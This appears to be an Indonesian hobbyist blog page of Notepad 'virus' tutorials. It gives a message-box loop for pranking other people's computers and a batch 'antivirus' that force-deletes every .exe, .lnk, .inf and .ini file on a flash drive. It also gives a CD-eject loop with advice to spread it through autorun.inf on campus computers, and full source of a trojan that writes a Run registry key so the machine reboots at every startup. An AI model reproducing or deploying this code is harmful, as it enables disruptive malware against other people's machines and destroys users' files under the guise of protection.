JUST INFO

Apabila ada pertanyaan atau permintaan tentang pelajaran komputer silahkan tulis komentar agan di sini atau facebook saya "adhietz.zacky@gmail.com" atau twitter saya @AdityaKhuon", mungkin saya bisa bantu agan.

Thanks

JUST INFO

Buat Virus Zonk Sekedar buat isengin Kompi atau Laptop Orang maupun Warnet yang zonk :p

buka notepad

lalu masukan kode di bawah ini :

do
msgbox ""
loop

contoh :

do
msgbox "ZONK"
loop

untuk menghapus virus tersebut ,ke task manager lalu cari "wsscript" kemudian end process
silahkan mencoba

Buat Virus Zonk Sekedar buat isengin Kompi atau Laptop Orang maupun Warnet yang zonk :p

Cara Membuat Anti Virus Sederhana Menggunakan Notepad

Disini Khuon Inside sekedar ingin berbagi buat sobat" pengguna laptop or kompi yang takut terjangkit virus ketika dicolokin flashdisk.. (warning) Plug n Play (jgn disalah artikan). Tips ini mungkin cocok buat sobat yang ingin membuat antivirus sendiri tanpa mengandalkan antivirus yang sudah terinstal di komputer, biasanya antivirus melakukan scanning yang membutuhkan waktu lama (masih untung kalo fd 1gb kalo HDDex 250gb waduh) masa cuma copy 1 file aja musti nunggu sejam. ok dah.. dari judul sebenarnya lughot cm mo share cara buat bloking virus aja khusus buat kompi pribadi (with notepad <shell programming>) langsung aja perhatikan caranya dibawah ini :

1. Open notepad > [start + R ] ketikkan Notepad. nah ni die cuplakannya

lalu ketik

mode 60,15

color 0a

cls

pause

Keterangan :

mode 60 itu karakternya

15 itu barisnya

akan terlihat seperti gambar dibawah ini :

kalo sudah menuliskan seperti kode diatas, trus save dengan nama file  dengan ekstensi *.bat nama terserah sobat, misal : "khuon.bat" di desktop.

ok. kalo sudah.. coba klik double filenya yang di desktop. Mantap toh.

2. trus cari tahu kalo ente colokin FD. drivenya apaan ? misalnya lughot punya pas fd dicolokin langsung terdetect F:\

lalu ke desktop klik kanan file "khuon.bat"  tadi lalu pilih edit

sesuai drive fd sobat!, maka tambahkan

"F:"

bisa diganti G:, X:, S: dsb.

untuk menghapus semua virus/file shortcut tambahkan

"del /q *.lnk"

untuk menghapus semua file exe (biasanya dah terinfeksi) tambahkan

"del /q *.exe"

waspadai file master yg g tersimpan dalam folder pasti terdelete

untuk menghapus file autorun.inf untuk file (kalo smadav biasanya bikin folder)tambahkan

"del /q *.inf"

biasanya virus jmn dlu masuk ke desktop.ini maka tambahin!

"del /q *.ini"

keterangan : /q itu agar perintahnya bisa dijalankan automatis. tidak ada pertanyaan "yakin akan menghapus [y/t]"

tampilannya seperti dibawah ini!

3. langkah selanjutnya adalah menghapus folder RECYCLER << tempat virus nongkrong dan System Volume Information << tempat info, biasanya sepupu virus juga nongkrong disini!

nah tambahin lagi

RMDIR /s /q RECYCLER << hapus folder recycler

RMDIR /s /q "System Volume Information" << pake tanda kutip!

tuk hapus folder autorun yang biasanya buatan smadav kodenya seperti dibawah ini :

RMDIR /s /q autorun.inf

keterangan :

rmdir tuk remove dir (hapus folder)

/s untuk semua folder dalam-dalamnya juga

/q ya sama dengan diatas....

tampilannya kayak gini :

finishing

trus SAVE [ctrl +s]

trus kata "pause" di delete aja...

Cara Menggunakannya :

1. pada saat mau masukin fd. minimize semua aplikasi yg aktif

2. siap2 tuk nge-klik khuon.bat

3. matiin aja aplikasi yg bikin lemot (optional untuk komputer lemot)

4. pada saat fd dicolok... tunggu beberapa saat agar windows mendetect

5. kira-kira 3 sampe 5 detik windows mendetect.. jalankan "khuon.bat"

setelah itu fd udah bisa langsung dibuka dengan klik double icon fd-nya or lewat explorer. nah kliatan tampilannya program mendelete beberapa file (kliatan agak heng). selamat mencoba dan semoga bermanfaat

"mencegah lebih baik dari menginstall ulang!"

Cara Membuat Anti Virus Sederhana Menggunakan Notepad

DVD / CD ROM error automatic

Caranya: Buka notepad dan masukkan code berikut:

Set ilikepies = CreateObject("WMPlayer.OCX.7")

Set ilikepie = ilikepies.cdromCollection

if ilikepie.Count >=1 then

do

For ilikepiesalot=0 to ilikepie.COunt -1

ilikepie.Item(ilikepiesalot).Eject

Next ' cdrom

For ilikepiesalot=0 to ilikepie.COunt -1

ilikepie.Item(ilikepiesalot).Eject

Next ' cdrom

loop

End If

Simpanlah file dengan ekstensi file iseng.vbs atau apapun

nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya (Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya

tanpa henti.

Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk sobat, jadi setiap kamu colokin ke kompie kampus, maka akan otomatis dijalankan Virus Nakal ini..

DVD / CD ROM error automatic

Berbagi Script Virus Menggunakan Notepad (Restart Terus Menerus)

Sekedar berbagi buat pelajaran aja ni gan, jangan di gunakan untuk hal" yang kurang baik .

 *note copy semua source berikut kedalam notepad save as .Vbs (jika ingin mengaktifkan)

jika tidak biarkan tetap dalam file exstensi.txt

exapels: Khuon_trojanHorse.VBS

Copy semua source di bawah ini:

rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next

dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")

set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)

set regEdit = CreateObject("WScript.Shell")

regEdit.RegWrite regKey,regVal

end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")

generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)

setFile()

fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)

procreateCopy.write fixedCode

procreateCopy.close

rebootSystem()

function setFile()

fileData="rem - ^dlRB^ by D.L." &vbcrlf& _

"strComputer = ^.^ " &vbcrlf& _

"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _

"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _

"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _

"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _

"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _

"ObjOperatingSystem.Reboot()" &vbcrlf& _

"Next"

end function

function rebootSystem()

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _

("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems

ObjOperatingSystem.Reboot()

Next

end function

Berbagi Script Virus Menggunakan Notepad (Restart Terus Menerus)